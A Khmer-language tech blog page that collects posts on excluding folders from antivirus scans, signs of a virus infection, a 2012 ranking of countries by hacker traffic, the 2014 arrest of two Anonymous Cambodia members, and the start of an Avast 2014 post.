Hack and Virus

Posted by Unknown on 4:03 AM with No comments

វិធី Scan files ឬ Folders

Posted on by TEAV Chhun Nan (ទំនាក់ទំនង ផ្សាយពាណិជ្ជកម្ម 077778647-070778647)

- តើ Files អ្វីខ្លះដែលអ្នកគួរតែដកចេញពីការ Scan ?

Files ដែលអ្នកគួរតែដកចេញគឺជាប្រភេទ Files ទាំងឡាយណាដែលអ្នកជឿជាក់ថាវាមានសុវត្ថិភាព គឺសំដៅទៅលើ Files ឬក៏ Folders ដែលស្ថិតនៅលើ Hard drive របស់អ្នក ដែលតែងតែធ្វើការ Read ចេញ និង Write ចូលជាមួយវាជានិច្ចកាល ។

ឧទាហរណ៍ៈ Folder រូបថតដែលអ្នកចម្លងចេញពី Digital camera ឬក៏ Folder ចម្រៀង mp3, video ដែលចម្លងចេញពីឌីស ជាដើម ។

- វិធីនៃការដកចេញនូវ Files ឬ Folders ពីការ Scan

- បើក កម្មវិធីការពារមេរោគ ដើម្បីកំណត់ការដកចេញនៃ Folder ពីការ Scan ។ ដោយសារកម្មវិធីទាំងនោះវាដំណើរការខុសៗគ្នា ដូចនេះអ្នកត្រូវចូលទៅកំណត់នៅក្នុង setting នៃកម្មវិធី ដែលអ្នកប្រើប្រាស់ ដើម្បីកំណត់ ។

ខាងក្រោមនេះយើងសូមលើកនូវការកំណត់នូវក្នុងកម្មវិធី Microsoft Security Essentials មកបង្ហាញ

• បើកកម្មវិធី Microsoft Security Essentials->ចុច Setting ->ចុច Excluded Files and locations ->ចុច Browser

ផ្ទាំងខាងក្រោមនឹងបង្ហាញឡើង ដើម្បីឲ្យយើងជ្រើសរើស Files ឬក៏ Folders ដែលអ្នកជឿជាក់ថាគ្មានមេរោគចេញពីការ scan រួច OK

វានឹងបិទផ្ទាំងខាងលើហើយ បង្ហាញផ្ទាំងខាងក្រោម រួចយើងចុចលើ Add

• វានឹងបង្ហាញដូចរូបខាងក្រោម ដែលបញ្ជាក់ថាយើងនឹងដក Folder Song ចេញពីការ Scan រួចចុច Save Setting…

ធ្វើដូចម្តេចដឹងកុំព្យូទ័រមានមេរោគ

Posted on by TEAV Chhun Nan (ទំនាក់ទំនង ផ្សាយពាណិជ្ជកម្ម 077778647-070778647)

តើធ្វើដូចម្តេចទើបដឹងថា កុំព្យូទ័រឆ្លងមេរោគ?មេរោគ គឺជាកម្មវិធី ឬជា Script តូចមួយដែលត្រូវបានឆ្លងចូលទៅក្នុងកុំព្យូទ័ររយៈការប្រើប្រាស់ឧបកណ៍មួយចំនួនដូចជា Flash, Memory Card, Diskette ឬក៏ External Hard Disk ជាដើម ដោយគ្មានការប្រុងប្រយ័ត្ន ហើយវាចាប់ផ្តើមដំណើរការដោយខ្លួនឯងដោយគ្មាន ការអនុញ្ញាតទៅតាមប្រភេទមេរោគដែលត្រូវបានបង្កើតឡើង ។ ប្រសិនបើមេរោគ ឆ្លងចូល ទៅក្នុងកុំព្យូទ័រវាបានបង្ករឲ្យកុំព្យូទ័រយើង មានបញ្ហាមួយចំនួនដូចជា ចូលទៅលុបឯកសារដែលផ្ទុកនៅក្នុងកុំព្យូទ័រ, លុបកម្មវិធី ដែលមាននៅក្នុងកុំព្យូទ័រ ហើយក៏មានប្រភេទមេរោគ ខ្លះក្រោយពេលដែលវាបានឆ្លងចូលទៅក្នុងកុំព្យូទ័រ វាមានសមត្ថភាព និងឥទ្ធិពលយ៉ាងខ្លាំង រហូតឈានដល់ការបំផ្លាញ Hardware ដែលមាននៅក្នុងកុំព្យូទ័រតែម្តង ។ ចំណែកឯប្រភេទ មេរោគខ្លះទៀតវិញ គឺវាគ្រាន់តែផ្តល់ការរំខានតិចតួចប៉ុណ្ណោះ ដូចជា កាត់បន្ថយល្បឿនកុំព្យូទ័រ ឧស្សាហ៍បង្ហាញផ្ទាំង Message Error មិនអាចស្តាប់ចម្រៀង និងថតចម្លងឯកសារ បានព្រមទាំងមានបញ្ហាជាច្រើនទៀតដែលមិនអាចរៀបរាប់អស់បាន ។ ដើម្បីឲ្យស្របទៅនឹងចំណងជើងនៃប្រធានបទខាងលើថា តើធ្វើដូចម្តេចទើបដឹងថាកុំព្យូទ័រឆ្លងមេរោគ? ខ្ញុំសូមណែនាំវិធីសាស្ត្រខ្លះៗ ដែលអាចឲ្យយើងដឹងថា កុំព្យូទ័ររបស់យើងបានឆ្លងមេរោគ ឬអត់ ។
១. កុំព្យូទ័រកាន់តែយឺតទៅៗ

ល្បឿនកុំព្យូទ័រកាន់តែយឺតទៅៗ គឺកត្តាមួយដែលអាចបង្កឡើងដោយមេរោគផងដែរ ប៉ុន្តែវាមិនមែនសុទ្ធតែបង្កឡើងដោយមេរោគសុទ្ធសាធនោះដែរ ជួនការអាច បណ្តាល មកពី កុំព្យូទ័រ របស់លោកអ្នកចាស់ សមត្ថភាពមិនដល់កម្មវិធីដែលបានដំឡើង ឬក៏បណ្តាលមកពី Hardware មានបញ្ហាដូច្នេះដើម្បីឲ្យដឹងកាន់តែច្បាស់នូវបញ្ហាទាំងនេះសូមមើលខាងក្រោមៈ

– ត្រួតពិនិត្យមើល Hardware គឺយើងត្រួតពិនិត្យមើលថាតើវាមានទំហំប៉ុន្មាន ហើយ Hardware ដែលត្រួតពិនិត្យនោះមានដូចជា RAM, (Hard Disk), CPU និង VGA ជាដើម ។ ដើម្បីចូលទៅពិនិត្យមើលសូមចុច Start –> Run រួចវាយពាក្យ dxdiag រួចចុច Enter ឬ Ok ពេលនោះវានឹងបង្ហាញរូបដូចខាងក្រោមៈ

ចំណាំៈ វិធីខាងលើវា មិនបង្ហាញព័ត៌មានដែលទាក់ទងទៅនឹង Hardware ទេ ប្រសិនបើចង់មើល ថា Hardware មានទំហំប៉ុន្មាន សូមចូលទៅក្នុង Widows Explorer ឬចុចនៅលើMy Computer រួចម៉ៅ ស្តាំ(Right Click) លើ Drive ទាំងអស់ដែលមាននៅក្នុងកុំព្យូទ័រលើកលែងតែ Drive CD-Rom បន្ទាប់មកធ្វើការបូកសរុបទំហំរបស់ Drive ទាំងអស់បញ្ចូលគ្នាជាការស្រេច ។

– លុបកម្មវិធីដែលមិនចាំបាច់ចោល គឺមានន័យថានៅពេលលោកអ្នកបានតំឡើងកម្មវិធីច្រើនចូលទៅក្នុងកុំព្យូទ័រ វាក៏បណ្តាលឲ្យកុំព្យូទ័រដើរយឺតផងដែរ ជាពិសេសកម្មវិធីដែលមានទំហំធំ ។ ដើម្បីលុបកម្មវិធីដែលមិនចាំបាច់ យើងត្រូវចុច Start –> Setting –> Control Panel –> Add or Remove programs ពេលនោះវានឹងបង្ហាញផ្ទាំងមួយ រួចជ្រើសរើសកម្មវិធីណាដែលអ្នកគិតថាវាមានទំហំធំ បណ្តាលឲ្យកុំព្យូទ័រដើរយឺត និងឥតប្រយោជន៍មិនសូវប្រើប្រាស់ ។

- រៀបចំឯកសារឲ្យមានសណ្តាប់ធ្នាប់ៈ ប្រសិនបើកុំព្យូទ័រអ្នកពោរពេញទៅដោយឯកសារច្រើន នោះក៏អាចបង្កឲ្យកុំព្យូទ័រដើរយឺតផងដែរ ដូច្នេះលោកអ្នកត្រូវរៀបចំទុកដាក់វាដោយធ្វើ Defragment ។ ដើម្បីធ្វើវាបាន ចូលទៅកាន់ Start -> All programs à Accessories -> System Tool –>Disk Defragmenter ។

បញ្ជាក់ៈ ប្រសិនបើលោកអ្នកអនុវត្តជំហានខាងលើរួចរាល់ហើយ ប៉ុន្តែកុំព្យូទ័រនៅតែមានល្បឿនយឺតទៀត នោះបញ្ជាក់ថាកុំព្យូទ័ររបស់លោកអ្នកពិតជាត្រូវបានវាយប្រហារដោយមេរោគហើយ ។

២. កុំព្យូទ័រតែងតែ Restart ដោយខ្លួនឯង
កុំព្យូទ័រ គឺជាឧបករណ៍មួយដ៏ឆ្លាតវៃជាទីបំផុត ប៉ុន្តែទៅបីជាមានភាពឆ្លាតវៃយ៉ាងណាក៏ដោយ ក៏វាអាចដំណើរការទៅបានលុះត្រាតែមានមនុស្សជាអ្នកបញ្ជាវា បើមិនដូច្នោះទេ វាពិតជាមិន អាចធ្វើការងារអ្វីបានទាំងអស់ ហាក់ដូចជាដុំដែកមួយអញ្ចឹង ។ ហើយប្រសិនបើកំពុងប្រើប្រាស់ កុំព្យូទ័រស្រាប់តែវា Restart ដោយខ្លួនវា គឺវា Restart ដោយខ្លួនវាបែបនេះក្នុងរយៈពេល ២ ទៅ៣ នាទីម្តង ។ ដើម្បីដឹងថា បញ្ហាដូចខាងលើអ្នកត្រូវត្រួតពិនិត្យមើលដូចជា
- ត្រួតពិនិត្យមើល RAM ព្រោះ RAM ក៏ជាបញ្ហាអាចបណ្តាលធ្វើឲ្យកុំព្យូទ័រតែងតែ Restart ផងដែរ ។
- ត្រួតពិនិត្យមើលកម្មវិធីដែលបានតំឡើង ព្រោះកម្មវិធីមួយចំនួនក្រោយពេលតំឡើងចូលទៅក្នុងម៉ាស៊ីន វាក៏អាចមានការប៉ះទង្គិចជាមួយ Hardware នៅក្នុងម៉ាស៊ីន នេះក៏ជាកត្តាធ្វើឲ្យកុំព្យូទ័រតែងតែ Restart ផងដែរ ។ ក្រោយពីលោកអ្នកត្រួតពិនិត្យរួចរាល់ហើយ កុំព្យូទ័រនៅតែ Restart ទៀតនោះ បញ្ជាក់ថាកុំព្យូទ័ររបស់ត្រូវបានវាយប្រហារដោយមេរោគហើយ ។
៣. តែងតែបង្ហាញផ្ទាំង Error Message
កុំព្យូទ័រលោកអ្នកតែងតែបង្ហាញផ្ទាំង Error Message នោះក៏មិនប្រាកដថា អាចបណ្តាលមកពីមេរោគនោះទេ ព្រោះពេលខ្លះប្រសិនបើកុំព្យូទ័រឧស្សាហ៍ត្រូវបានបិទដោយមិនត្រឹមត្រូវ វាអាចបណ្តាលឲ្យបាត់ File របស់ Windows ដូច្នេះវាក៏បង្ហាញផ្ទាំង Error Message នេះឡើង ។ ដើម្បីសដឹងថាបញ្ហានេះជាមេរោគ ឬអត់នោះ លោកអ្នកត្រូវតែ Repair Windows ដើម្បីឲ្យវា Copy File ដែលបានបាត់ចូលទៅកាន់ទីតាំងដើមវិញ ។ នៅពេលលោកអ្នក Repair រួចរាល់ហើយ នៅតែមានបញ្ហាផ្ទាំង Error Message កើតឡើង នោះកុំព្យូទ័ររបស់ អ្នកប្រាកដ ជាត្រូវបាន វាយប្រហារដោយមេរោគផងដែរ ។
៤. មិនអាចប្រើប្រាស់ ឬ Copy ឯកសារចូល Hard Drive បាន ប្រសិនបើកុំព្យូទ័រលោកអ្នកមិនអាចបើក ឬ copy ឯកសារចូល Hard Drive បាន នោះវាជាកត្តាមួយដែលពិបាកបំផុត ព្រោះ Drive គឺជាកន្លែងសម្រាប់ផ្ទុកនូវរាល់បណ្តុំព័ត៌មា ន ដែលទាក់ទងទៅនឹងកុំព្យូទ័រទាំងអស់ ។ ប៉ុន្តែករណីលោកអ្នកមិនអាចចូលទៅប្រើប្រាស់បាននោះ មិនប្រាកដថា វាបណ្តាលមកពីមេរោគនោះទេ ព្រោះហេតុអ្វី? ព្រោះឥឡូវនេះមានកម្មវិធីជា ច្រើនដែល អាច Lock ដើម្បីបន្ថែមសុវត្ថិភាពទៅឲ្យ Drive ឬតាមវិធីដែលមានស្រាប់នៅក្នុង កុំព្យូទ័រដូចជា ការប្រើប្រាស់ Group Policy ឬ Regedit ជាដើម ។
៥. មិនអាចបើកកម្មវិធីមកដំណើរការបាន មានប្រភេទមេរោគខ្លះនៅពេលដែលវាឆ្លងចូល ទៅក្នុងកុំព្យូទ័រហើយ វាបានចូលទៅបំផ្លាញFile ដំណើរការកម្មវិធី ទាំងឡាយដែល បាន ដំឡើងចូលទៅក្នុងកុំព្យូទ័រ ។ ដូច្នេះប្រសិនបើលោកអ្នកជួបនូវបញ្ហាដូចនេះមែននោះ កុំព្យូទ័ររបស់អ្នកប្រាកដជាត្រូវបានវាយប្រហារដោយមេរោគហើយ ។
៦. មិនអាច Print ឯកសារបាន ប្រសិនបើអ្នកមិនអាច Print ឯកសារបាន សូមពិនិត្យមើល Printer និង Drive Printer ឲ្យបានត្រឹមត្រូវជាមុនសិន ប្រសិនបើវាគ្នាបញ្ហាអ្វីទេ នោះមានន័យថា បញ្ហាដែលអ្នកមិនអាច Print ឯកសារបាន នោះបណ្តាលមកពីការវាយប្រហារដោយមេរោគហើយ ។
៧. ទំហំឯកសារកាន់តែធំខុសពីធម្មតា
មេរោគខ្លះក្រោយពីពេលដែលវាបានឆ្លងចូលទៅក្នុងកុំព្យូទ័រ វាមិនមានផលប៉ះពាល់អ្វីធ្ងន់ធ្ងរដល់កុំព្យូទ័រនោះទេ វាគ្រាន់តែចូលទៅបង្កើនទំហំឯកសារដែលវាបានរក្សារទុកនៅក្នុងកុំព្យូទ័រតែប៉ុណ្ណោះ ។
៨. ឧស្សាហ៍លោតផ្ទាំងខ្មៅមករំខាន ប្រភេទមេរោគខ្លះទៀត នៅពេលដែលវា បានឆ្លងចូលទៅ ក្នុងកុំព្យូទ័រហើយ វាតែងតែលោតផ្ទាំងខ្មៅ មករំខាន ហើយនៅពេលដែលលោកអ្នកបើកមើល Website ឬក៏កម្មវិធីទាំងឡាយណាដែលទាក់ទងទៅនឹងមេរោគ ហើយមេរោគប្រភេទនេះ នឹងបិទ Website ឬកម្មវិធីនោះចោលភ្លាម ។ មេរោគប្រភេទនេះអ្នកត្រូវប្រុងប្រយ័ត្នជាទីបំផុត ប្រសិនបើវាឆ្លងចូលកុំព្យូទ័រគឺមានការពិបាកកំចាត់វាជាទីបំផុត ។
៩. មិនអាចបង្ហាញ File និង Folder ដែលលាក់ខ្លួនបានHidden File and Folder គឺជាប្រភេទឯកសារម្យ៉ាងរបស់ Windows ដែលត្រូវបានលាក់ ខ្លួននៅក្នុងកុំព្យូទ័រដើម្បីជៀសវាងការប៉ះទង្គិចណាមួយដោយចៃដន្យ ។ ប៉ុន្តែមានករណីមួយចំនួនដែល អ្នកចាំបាច់ត្រូវការប្រើប្រាស់ឯកសារប្រភេទនេះ ។ ដើម្បីចូលបើកវាឲ្យដំណើរការ ចូលទៅក្នុង windows Explorer រួចចុច Tool Menu រួចហើយចុចជ្រើសរើស Folder Option នៅពេលនោះ វានឹងបង្ហាញផ្ទាំងមួយ បន្ទាប់មកចុច Tab View។

ក្រោយមកលោកអ្នកត្រូវយក Mouse ចុចលើពាក្យ Show hidden file and folder ដូចរូបខាងលើ រួចចុចប៊ូតុង Ok នៅពេលនោះអ្នកនឹងឃើញឯកសារ និង Folder ដែលបានលាក់ត្រូវបានបង្ហាញឡើង ។ ប៉ុន្តែអ្វីដែលអ្នកចាប់អារម្មណ៍នោះ គឺក្រោយពីអ្នកបានកំណត់ដូចខាងលើ រួចរាល់ហើយ បែរជាឯកសារ និង Folder ទាំងឡាយមិនបានបង្ហាញឡើងមកទេ ហើយនៅពេលអ្នក ចូលទៅក្នុង Folder Option ម្តងទៀត ស្រាប់តែចំណុច Show hidden files and folders

១០. មិនអាចបើកតួនាទីរបស់ Folder Option និង Task Manager បាន

១១. បាត់ឯកសារ Office ឯកសារ Audio និងឯកសាររូបភាព

មេរោគប្រភេទនេះអ្នកប្រើប្រាស់កុំព្យូទ័រទាំងឡាយ ប្រាកដជាធ្លាប់ជួបប្រទះនូវបញ្ហានេះជាញឹកញាប់ហើយ ព្រោះថា មេរោគប្រភេទខ្លះក្រោយពេលដែលវាបានឆ្លងចូលទៅក្នុងកុំព្យូទ័រហើយ វាបានចូលទៅបំផ្លាញឯកសារមួយចំនួនចោលតែម្តង ។

១២. ម៉ោង និងកាលបរិច្ឆេទ ថ្ងៃខែឆ្នាំកុំព្យូទ័រ Error

បញ្ហានេះលោកអ្នកត្រូវត្រួតពិនិត្យមើលថ្ម CMOS អ្នកសាកល្បងដូរវាសាកមើល ប្រសិនបើដូរហើយនៅតែមាន Error ទៀត ម៉ោង និង ថ្ងៃខែឆ្នាំតែងដើរមិនត្រូវ នោះបញ្ជាក់ថា កុំព្យូទ័ររបស់លោកអ្នកត្រូវបានវាយប្រហារដោយមេរោគហើយ ។

កំពូល Hacker ខ្លាំងៗប្រទេសណា?

Posted on by TEAV Chhun Nan (ទំនាក់ទំនង ផ្សាយពាណិជ្ជកម្ម 077778647-070778647)

មហាអំណាចពិភពលោកធំៗតែងចោទប្រកាន់គ្នា ទៅវិញមកពេលមានការវាយប្រហារតាមបច្ចេកវិទ្យា ហើយចិនជាទូទៅត្រូវគេចោទប្រកាន់ ព្រោះគេជឿថា ចិនសម្បូរ hacker ច្រើនជាងគេ។ គេហទំព័រអាមេរិក bloomberg បានបញ្ចេញបញ្ជីរាយឈ្មោះប្រទេសដែលសម្បូរក្រុម hacker ច្រើនជាងគេទាំង ១០ ក្នុងលោក ដោយផ្អែកលើចរាចរណ៍នៃសង្គ្រាមបច្ចេកទេសនាចុងឆ្នាំ ២០១២៖

១០. ហុងគ្រី
ហុងគ្រី មានចរាចរណ៍សង្គ្រាមបច្ចេកវិទ្យា ១,៤ភាគរយនៃសង្គ្រាមបច្ចេកវិទ្យាពិភពលោកទាំងមូល ខណៈដែលកូរ៉េខាងត្បូងតាមកិតពីក្រោយ។

៩. អ៊ីតាលី
អ៊ីតាលីមានចរាចរណ៍សង្គ្រាមបច្ចេកវិទ្យា ១,៦ភាគរយនៃសង្គ្រាមបច្ចេកវិទ្យាពិភពលោកទាំងមូល។

៨. ឥណ្ឌា ឥណ្ឌាមានចរាចរណ៍សង្គ្រាមបច្ចេកវិទ្យា ២,៣ភាគរយនៃសង្គ្រាមបច្ចេកវិទ្យាពិភពលោកទាំងមូល។

៧. រ៉ូម៉ានី រ៉ូម៉ានី មានចរាចរណ៍សង្គ្រាមបច្ចេកវិទ្យា ២,៨ភាគរយនៃសង្គ្រាមបច្ចេកវិទ្យាពិភពលោកទាំងមូល ដែលកើនឡើងពី ២,៧ភាគរយនៅចុងឆ្នាំ២០១១។ ទីក្រុង Ramnicu ត្រូវគេហៅថាជាឋានសួគ៌សម្រាប់ឧក្រិដ្ឋជនបច្ចេកវិទ្យា។

៦. ប្រេស៊ីល ប្រេស៊ីល មានចរាចរណ៍សង្គ្រាមបច្ចេកវិទ្យា ៣,៣ភាគរយនៃសង្គ្រាមបច្ចេកវិទ្យាពិភពលោកទាំងមូល ដែលធ្លាក់ចុះពី ៣,៨ភាគរយនៅចុងឆ្នាំ២០១១។

៥. តៃវ៉ាន់ តៃវ៉ាន់ ជាប់នឹងចិនមានចរាចរណ៍សង្គ្រាមបច្ចេកវិទ្យា ៣,៧ភាគរយនៃសង្គ្រាមបច្ចេកវិទ្យាពិភពលោកទាំងមូល ដែលធ្លាក់ចុះពី ៤,៥ភាគរយកាលពីចុងឆ្នាំ២០១១។
ទោះជាតៃវ៉ាន់ជាប្រភពសម្បូរ hacker ក៏ដោយ ក៏តៃវ៉ាន់ជាគោលដៅដ៏មានប្រជាប្រិយភាពនៃសង្គ្រាមបច្ចេកវិទ្យាដែរ។

៤. រុស្ស៊ី រុស្ស៊ី មានចរាចរណ៍សង្គ្រាមបច្ចេកវិទ្យា ៤,៣ភាគរយនៃសង្គ្រាមបច្ចេកវិទ្យាពិភពលោកទាំងមូល។ យោងតាមរបាយការណ៍របស់ Bloomberg News ថា ក្រុមហ៊ុនយ៉ាងហោចណាស់ ៤០ រួមទាំង Apple, Facebook និង Twitter រងការវាយប្រហារដោយ malware ដោយក្រុម hacker នៅរុស្ស៊ី ឬអឺរ៉ុបខាងកើត។

៣. ទួរគី ទួរគីមានចរាចរណ៍សង្គ្រាមបច្ចេកវិទ្យា ៤,៧ភាគរយនៃសង្គ្រាមបច្ចេកវិទ្យាពិភពលោកទាំងមូល។

២. សហរដ្ឋអាមេរិក អាមេរិក មានចរាចរណ៍សង្គ្រាមបច្ចេកវិទ្យា ១០ភាគរយនៃសង្គ្រាមបច្ចេកវិទ្យាពិភពលោកទាំងមូល ដែលធ្លាក់ចុះពី ១៣ភាគរយកាលពីចុងឆ្នាំ២០១១។
អាមេរិកជាសំបុករបស់ក្រុម hacker ល្បីៗក្នុងពិភពលោក ក្នុងនោះមានក្រុម Anonymous និង AntiSec។

១. ចិន ចិនមានចរាចរណ៍សង្គ្រាមបច្ចេកវិទ្យា ៤១ភាគរយនៃសង្គ្រាមបច្ចេកវិទ្យាពិភពលោកទាំងមូល ច្រើនជាងអាមេរិកដល់ ៤ ដងឯណោះ ហើយកើនឡើងពី ៣៣ភាគរយកាលពីចុងឆ្នាំ២០១១។

ចាប់ខ្លួន Anonymous Cambodia ០២ នាក់

Posted on by TEAV Chhun Nan (ទំនាក់ទំនង ផ្សាយពាណិជ្ជកម្ម 077778647-070778647)

Anonymous Cambodia) ចំនួន ០២ នាក់ ជាប់ពាក់ព័ន្ធការវាយប្រហារតាមបច្ចេកវិទ្យាព័ត៌មានត្រូវបានឃាត់ខ្លួន។

ភ្នំពេញ៖ ក្រុមហេគឃឺអនាមិកកម្ពុជាចំនួន ០២ នាក់ ដែលជាប់ពាក់ព័ន្ធការវាយប្រហារទ្រង់ទ្រាយធំមកលើបណ្ដាញបច្ចេកវិទ្យា ព័ត៌មាន របស់ស្ថាប័នជាតិសំខាន់ៗនាពេលកន្លងមក ត្រូវបានឃាត់ខ្លួនកាលពីថ្ងៃទី០៧ ខែមេសា ឆ្នាំ២០១៤ ដោយការិយាល័យប្រឆាំងបទល្មើសបច្ចេកវិទ្យាព័ត៌មាន នៃនាយកដ្ឋានសន្តិសុខផ្ទៃក្នុង អគ្គស្នងការដ្ឋាននគរបាលជាតិ ក្រសួងមហាផ្ទៃ។
ជនសង្ស័យទាំងពីរ ទី១.មានឈ្មោះ ប៊ុន ឃីងមង្គលបញ្ញា ហៅ SexmachineឬBlackcyberភេទប្រុស អាយុ២១ឆ្នាំ មុខរបរនិស្សិតឆ្នាំទី០៣ សាកលវិទ្យាល័យ SETEC ទី២.ឈ្មោះ ជូ សុងហេង ហៅZoroភេទប្រុសអាយុ២១ឆ្នាំ មុខរបរនិស្សិតឆ្នាំទី០៣ សាកលវិទ្យាល័យ SETEC។ស្ថានប័នជាតិសំខាន់ៗយ៉ាងហោចណាស់៣០និងស្ថាប័នឯកជនមួយចំនួនផងដែរ ត្រូវរងគ្រោះពីការវាយប្រហារតាមបច្ចេកវិទ្យាព័ត៌មានពីសំណាក់ក្រុមហេគឃឺអនាមិកកម្ពុជា ចាប់តាំងពីមុនការបោះឆ្នោតជាតិជ្រើសរើសតំណាងរាស្ត្រ កាលពីខែកក្កដា ឆ្នាំ២០១៣។

ស្ថាប័នជាតិសំខាន់ៗ ដែលទទួលរងគ្រោះមានដូចជា៖ គណៈកម្មាធិការជាតិរៀបចំការបោះឆ្នោត អង្គភាពប្រឆាំងអំពើពុករលួយ ក្រសួងការបរទេស ក្រសួងការពារជាតិនិងសាលារាជធានីភ្នំពេញ ជាដើម។ ក្រុមហេគឃឺអនាមិកកម្ពុជាបានធ្វើសកម្មភាពដូចជា វាយប្រហារធ្វើឲ្យរអាក់រអួលមិនដំណើរការគេហទំព័រ(DDos)ជ្រៀតចូល បណ្តាញព័ត៌មានវិទ្យាដោយខុសច្បាប់និងលួចទិន្នន័យសំងាត់ជាតិពី ប្រព័ន្ធព័ត៌មាន និងការកែទំព័រដើមនៃគេហទំព័រ ជាដើម។

ជនសង្ស័យទាំងពីរ បានសារភាពថាខ្លួនពិតជាសមាជិកក្រុមហេគឃឺអនាមិកកម្ពុជាប្រាកមែន និងបានប្រព្រឹត្តនូវរាល់ទង្វើខុសច្បាប់ដូចបានរៀបរាប់ខាងលើពិតប្រាកដមែន ដោយឡែក ចំពោះជនសង្ស័យឈ្មោះ ជូ សុងហេង បានសារភាពថាមិនបានចូលរួមការវាយប្រហារនោះទេគោលបំណងនៃការចូលរួម ក្នុងក្រុមហេគឃឺអនាមិករកម្ពុជា គឺគ្រាន់តែចង់ហាត់រៀនជំនាញនេះប៉ុណ្ណោះ។
សមត្ថកិច្ចនាយកដ្ឋានសន្តិសុខផ្ទៃក្នុង បានធ្វើការតាមដាន និងសហការស្រាវជ្រាវជាមួយស្ថាប័នFBI ប្រចាំ កម្ពុជាអស់រយៈពេលប្រមាណ០៨ខែ ទើបកំណត់ និងឃាត់ខ្លួនជនសង្ស័យទាំងពីរខាងលើបាន។ ទន្ទឹមនោះ សមត្ថកិច្ចកំពុងបន្តស្រាវជ្រាវរកមុខសញ្ញាហេគឃឺជាបក្សពួកនៅ សេសសល់ ដើម្បីនាំខ្លួនមកចាត់វិធានការតាមផ្លួវច្បាប់។
បច្ចុប្បន្នជនសង្ស័យទាំងពីរត្រូវបញ្ជូនទៅសាលាដំបូងរាជធានីភ្នំពេញ ដើម្បីចាត់ការតាមនីតិវិធី។ យោងតាមមាត្រា ៤២៧, ៤២៨, ៤២៩ នៃក្រមព្រហ្មទណ្ឌ ជនសង្ស័យគឺប្រឈមនឹងការពិន័យជាប្រាក់ពី ១០០ ០០០(មួយសែន)រៀល ដល់ ៤០០០ ០០០(បួនលាន)រៀល និងអាចជាប់ពន្ធនាគារពី០១ខែ រហូតដល់០២ឆ្នាំ៕
ខាងក្រោមនេះជាវត្ថុតាងដែលចាប់បានពីរនាក់នៃក្រុម Anonymous Cambodia

ភាគទី២៖ បទសម្ភាសន៍ជាសំឡេងដ៏កម្រ និងផ្ដាច់មុខជាមួយក្រុមវាយលុកអ៊ីនធើរណិតនៅកម្ពុជា (Anonymous Cambodia)កាលពីសប្ដាហ៍មុនប្រិយមិត្ដបានជ្រាបខ្លះហើយនូវបទសម្ភាសន៍ភាគទី ១ ជាមួយនឹងក្រុមវាយលុកអ៊ីនធើរណិតអនាមិកកម្ពុជា ឬហៅថា Anonymous Cambodia ដែលជាបទសម្ភាសន៍ថតជាសំឡេងដ៏កម្រ ធ្វើឡើងតាមបច្ចេកវិទ្យាអ៊ីនធើរណិតព្រោះក្រុម Anonymous Cambodia នេះបារម្ភអំពីសន្ដិសុខ និងការតាមដានរកឃើញអត្ដសញ្ញាណពួកគេពីសំណាក់អាជ្ញាធរបើសិនប្រើ ប្រព័ន្ធទូរគមនាគម៍បែបប្រពៃណីដូចជាតាមរយៈទូរស័ព្ទ។

កាលពីសប្ដាហ៍មុនប្រិយមិត្ដបានជ្រាបខ្លះហើយនូវបទ សម្ភាសន៍ភាគទី១ ជាមួយនឹងក្រុមវាយលុកអ៊ីនធើរណិតអនាមិកកម្ពុជា ឬហៅថា Anonymous Cambodia ដែលជាបទសម្ភាសន៍ថតជាសំឡេងដ៏កម្រ ធ្វើឡើងតាមបច្ចេកវិទ្យាអ៊ីនធើរណិតព្រោះក្រុម Anonymous Cambodia នេះបារម្ភអំពីសន្ដិសុខ និងការតាមដានរកឃើញអត្ដសញ្ញាណពួកគេពីសំណាក់អាជ្ញាធរបើសិនប្រើ ប្រព័ន្ធទូរគមនាគម៍បែបប្រពៃណីដូចជាតាមរយៈទូរស័ព្ទ។
នៅថ្ងៃ នេះវិទ្យុអូស្រ្ដាលីសូមនាំមកជូននូវបទសម្ភាស៍ភាគទី២ ដើម្បីស្វែងយល់បន្ថែមអំពីក្រុមនេះ ក៏ដូចជាដើម្បីស្វែងយល់អំពីបញ្ហាសន្ដិសុខព័ត៌មានតាមអ៊ីនធើរណិតជា រួមនៅក្នុងប្រទេសកម្ពុជាផងដែរថា តើកម្ពុជាអាចការពារខ្លួនបានទេ? កម្ពុជាកំពុងប្រឈមមុខនឹងបញ្ហាគ្រោះថ្នាក់អ្វីខ្លះទាក់ទង ប្រព័ន្ធព័ត៌មានសន្ដិសុខជាតិ? ហើយតើកន្លងមកនេះ មានចន្លោះប្រហោងអ្វីខ្លះដែលវិស័យនេះនៅកម្ពុជាត្រូវយកចិត្ដទុក ដាក់បន្ថែមគិតទាំងផ្នែករដ្ឋ និងផ្នែកឯកជន នៅពេលដែលពិភពលោកកំពុងតែដើរលឿនរហ័សជាទីបំផុតនៅក្នុងយុគសម័យ ព័ត៌មានវិទ្យា និងអ៊ីនធើរណិតនេះ។
តទៅនេះសូមស្ដាប់បទសម្ភាសន៍ រវាងខ្ញុំបាទ ឃុន អាឡិច និងតំណាងម្នាក់មានរហស្សនាមថា Black Cyberនៃក្រុមវាយលុកប្រព័ន្ធកុំព្យូទ័រកម្ពុជា Anonymous Cambodia។
(បទសម្ភាសន៍ភាគទី២)
អំបាញ់មិញនេះ ប្រិយមិត្ដទើបបានស្ដាប់បទសម្ភាសន៍ជាមួយនឹង Black Cyber ដែលជាតំណាងក្រុមវាយលុកប្រព័ន្ធអ៊ីនធើរណិត Anonymous Cambodia។ ដោយសារពេលម៉ោងមានកំណត់ខ្ញុំសូមបញ្ចប់បទសម្ភាសន៍ភាគទី២នេះតែ ត្រឹមនេះសិន។
នៅសប្ដាហ៍ក្រោយ វិទ្យុអូស្រ្ដាលីនឹងនាំមកជូននូវបទសម្ភាសន៍បន្ដទៀតភាគទី៣ដែល ជាភាគបញ្ចប់ ដែលមានចំណុចសំខាន់ៗជាច្រើនដែលវិទ្យុអូស្រ្ដាលីបានសួរទៅក្រុម នេះ។ សង្ឃឹមថា ប្រិយមិត្ដបានយល់ច្រើនអំពីពិភពក្រុមអ្នកវាយលុកអ៊ីនធើរណិតនៅ ប្រទេសកម្ពុជាក្នុងវិស័យព័ត៌មានវិទ្យា, ទូរគមនាគមន៍ និងអ៊ីនធើរណិត ដែលកំពុងដើរលឿនទៅមុខជាលំដាប់។

ប្រើ Avast 2014 Free

Posted on by TEAV Chhun Nan (ទំនាក់ទំនង ផ្សាយពាណិជ្ជកម្ម 077778647-070778647)

ក្នុងរយះពេលប៉ុន្មានឆ្នាំកន្លងមកនេះ កម្មវិធី Avast មានអ្នកប្រើប្រាស់ជាច្រើន លើទីផ្សារ។ ពិសេស
